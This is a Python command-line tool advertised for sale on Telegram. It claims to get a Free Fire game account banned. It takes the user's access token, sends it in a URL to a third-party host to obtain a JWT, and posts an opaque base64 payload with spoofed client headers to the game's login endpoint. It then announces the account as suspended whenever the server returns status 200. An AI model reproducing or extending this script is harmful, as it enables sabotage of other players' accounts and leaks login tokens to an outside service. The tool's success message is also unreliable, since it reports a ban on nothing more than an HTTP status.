import requests
import base64
import json
import time
import sys
import os
import shutil

# Try to import cfonts for fancy banners; fall back to simple print if not available
try:
    from cfonts import render
    CFONTS_AVAILABLE = True
except ImportError:
    CFONTS_AVAILABLE = False
    def render(text, **kwargs):
        return text

API_URL_1 = 'https://api.freefireservice.dnc.su/oauth/account:login?data={}'
API_URL_2 = 'https://client.ind.freefiremobile.com/GetLoginData'

BODY_BASE64 = (
    'vGkQhkkYHjne06dPbmJgb36BQ1NdLgk8J+uc+z4/9t4OZ19iWMyn5cH/Pe/DgGHrwHxJ+dRKGho2LCErl+rBWEf/6aWcFflRXiEsvPiGKM3809a+vci8mAQBREdizRWQ6bdeLnlztsqBvlB5OU8WFlmGxsU8UY1U3Zp/eLNTbq0DHqjOxziR+ylXgLlonsckeKvaxa4YE540eXi+9v4ilJunUubievpqUip6XDAyKV7o1spVxiaP0z4d8MLosbeYthPAnK5ykeE8IpnYaru0oDN8o90r820h04frRPJBszlDiarwdjgXaiyeQqAiOgEN63gUoVq2rd0JfYGaHN2f2kJxxO9uCYxyJ6IhCzQq8yAJT2asKa9u7gWB1bB/fJxq4nVxY8am8DI+rqIDvVSF3EdQBDh9qipPFCd0gZx7kDVg/9vM79YAE+FnDgGY3D/niKWsu66SL9+bRcghZxcCMOzKwvRe7hCRU2pDjBw0MRvPnCCa9KpEuO4CgWz+++SP9whlI0dWCi9/snDCN6i9V2TYrSWfbg1i2TRipquGUoi/cP1xPBeMwQlzlf4APMQzvT8MOQotqry+y1+koTpwRKlWgu7QLmiumn4dwd9HARVMThSH46kwlD8xep4sLVf6/BbjWixBMVRKFi1w9zpVVe+w6rBYhtBHXfjqjg2sCzF1mlBabMbW4L2yXEmABaQG/l0jmaGEWh6kzMY9T1nzV1Wcw5lF7X+pwQEnAn6i5coowNGKrTGUJ2wa3+tAxGcm9zozCvj8yd2pOXmta46GoREDQk+U99uHHvjqzsSNeBq8ffL5zibtv0pZPhnUuSP76YkhCcdtDilaecBElnt9eFfo8cy2B3Z0wbhG20nKNfYuhgZMZuSPRjmQphlfyl1hpoSG5xMQ7bdqZAkoTkZlFpCL4y02yUlImI7Z8jnA3i4un3UOq1rXrMza+bqNsMhrJ/aUS3mnoXr23yzuUc56zyYQtzJx6VCupsHraP7brcDbBS76Gp2o0oT2iE4Y55ZyAEgdt307DzJknHEHdGuoOG4Yzy5bI7HnukmnUjoiIdJEr7iJdOLppdB+ZDXPkHps5ysskdapRp0i2x1gMpW9XU1LY1cNAsTmAvHcz2GZA2OjtvS0roiay2rkUqNgmN8cPygK3j6ycfpkHc1PkUnmG1CNjMy3qP7c18qvDdSYfiq99Wra4l5L2dV3dE/kGpc1fgwWo94UPIes67wg/TrRR85GxPcpIX3IUOGMyEX1VWJTS2PvTm3S4xrerobDKG5V'
)

# ==================== UTILITY FUNCTIONS ====================
def clear_screen():
    """Clear the terminal screen."""
    os.system('clear' if os.name == 'posix' else 'cls')

def get_terminal_width():
    """Get the width of the terminal, fallback to 80 on error."""
    try:
        return shutil.get_terminal_size().columns
    except Exception:
        return 80

def print_centered(text):
    """Print each line of text centered in the terminal."""
    width = get_terminal_width()
    for line in text.split('\n'):
        print(line.center(width))

def print_banner():
    """Display the main banner."""
    clear_screen()
    try:
        output = render('BLACKApis BAN V1', colors=['white', 'red'], align='center')
        print(output)
    except Exception:
        # Fallback if cfonts fails
        print("BLACKApis BAN V1".center(get_terminal_width()))
    width = get_terminal_width()
    line = '\x1b[1;37m' + '─' * (width - 2)
    print(line.center(width))
    print_centered('\x1b[1;31mDEVELOPED BY KEVIN Modified By @UNKNOWN666FF | TERMUX EDITION ⚡\x1b[0m')
    print(line.center(width) + '\n')

def typewriter_print(text, delay=0.03):
    """Print text with a typewriter effect."""
    for char in text:
        sys.stdout.write(char)
        sys.stdout.flush()
        time.sleep(delay)
    print('')

def loading_animation(text, duration=3):
    """Display a loading bar animation."""
    total_steps = 100
    sleep_time = duration / total_steps
    bar_length = 20
    for i in range(total_steps + 1):
        percent = i
        filled_length = int(bar_length * percent // 100)
        bar = '█' * filled_length + '░' * (bar_length - filled_length)
        sys.stdout.write(f'\r\x1b[1;33m{text} \x1b[1;37m[\x1b[1;32m{bar}\x1b[1;37m] \x1b[1;36m{percent}%\x1b[0m')
        sys.stdout.flush()
        time.sleep(sleep_time)
    print('')

def decode_jwt(token):
    """Decode a JWT token and return the payload as a dict."""
    try:
        payload_part = token.split('.')[1]
        payload_part += '=' * (-len(payload_part) % 4)
        decoded_bytes = base64.b64decode(payload_part)
        decoded_str = decoded_bytes.decode('utf-8')
        return json.loads(decoded_str)
    except Exception:
        return {}

# ==================== MAIN FUNCTION ====================
def main():
    print_banner()
    try:
        access_token = input('\x1b[1;36m[INPUT] ENTER ACCESS TOKEN: \x1b[0m').strip()
        if not access_token:
            print('\n\x1b[1;31m[!] Token cannot be empty!\x1b[0m')
            return
        print('')
        typewriter_print('\x1b[1;33m[+] Connecting to Free fire server...\x1b[0m')
        loading_animation('Authenticating', 2)

        # First API call to validate token
        response = requests.get(API_URL_1.format(access_token), timeout=20)
        if response.status_code != 200:
            print(f'\n\x1b[1;31m[!] Connection Failed! Status: {response.status_code}\x1b[0m')
            return
        resp_json = response.json()
        if '8' not in resp_json:
            print('\n\x1b[1;31m[!] Invalid Token or Expired!\x1b[0m')
            return
        jwt_token = resp_json['8']

        # Decode JWT to get user info
        user_data = decode_jwt(jwt_token)
        nickname = user_data.get('nickname', 'Unknown')
        region = user_data.get('lock_region', user_data.get('region', 'IND'))
        account_id = user_data.get('account_id', 'Unknown')
        version = user_data.get('release_version', 'Latest')
        print(f'\n\x1b[1;32m[+] Token Validated! User: {nickname}\x1b[0m')
        time.sleep(1)
        print('')
        typewriter_print('\x1b[1;31m[!] Sending BLACKApis ban approval request...\x1b[0m')
        loading_animation('Sending Packets', 4)

        # Prepare headers and body for ban request
        headers = {
            'Authorization': f'Bearer {jwt_token}',
            'X-Unity-Version': '2018.4.11f1',
            'X-GA': 'v1 1',
            'ReleaseVersion': version,
            'Content-Type': 'application/x-www-form-urlencoded',
            'User-Agent': 'Dalvik/2.1.0 (Linux; Android)',
            'Accept-Encoding': 'gzip'
        }
        body = base64.b64decode(BODY_BASE64)
        ban_resp = requests.post(API_URL_2, headers=headers, data=body, timeout=20)

        if ban_resp.status_code == 200:
            clear_screen()
            print_banner()
            # Show success message with cfonts
            try:
                print(render('SUCCESS', colors=['green', 'black'], align='center', font='tiny'))
            except Exception:
                print("SUCCESS".center(get_terminal_width()))
            # Build and display final message
            final_msg = (
                f'\n\x1b[1;32mBan Successfully 🗿 Ban by BLACKApis\n'
                f'──────────────────────────────\n'
                f'\x1b[1;37mName   : \x1b[1;36m{nickname}\n'
                f'\x1b[1;37mUID    : \x1b[1;36m{account_id}\n'
                f'\x1b[1;37mRegion : \x1b[1;36m{region}\n'
                f'\x1b[1;37mPatch  : \x1b[1;36m{version}\n'
                f'\x1b[1;37mStatus : \x1b[1;31mSUSPENDED (100%)\n'
                f'\x1b[1;37mMethod : \x1b[1;33mBLACKApis V1 Private API\n'
                f'──────────────────────────────\n'
                f'\x1b[0m'
            )
            for line in final_msg.split('\n'):
                print_centered(line)
                time.sleep(0.05)
            print('')
            print_centered('\x1b[1;32mSuccessfully Completed! ✅\x1b[0m')
            print_centered('\x1b[1;37mDm for buying the script telegram \x1b[1;36m@UNKNOWN666FF\x1b[0m')
            print('')
        else:
            print(f'\n\x1b[1;31m[!] Failed to Ban! Server returned: {ban_resp.status_code}\x1b[0m')
    except KeyboardInterrupt:
        print('\n\n\x1b[1;31mExiting...\x1b[0m')
        return
    except requests.exceptions.ConnectionError:
        print('\n\x1b[1;31m[!] Internet Error! Check your connection.\x1b[0m')
        return
    except Exception as e:
        print(f'\n\x1b[1;31m[!] An Error Occurred: {e}\x1b[0m')
        return

if __name__ == '__main__':
    main()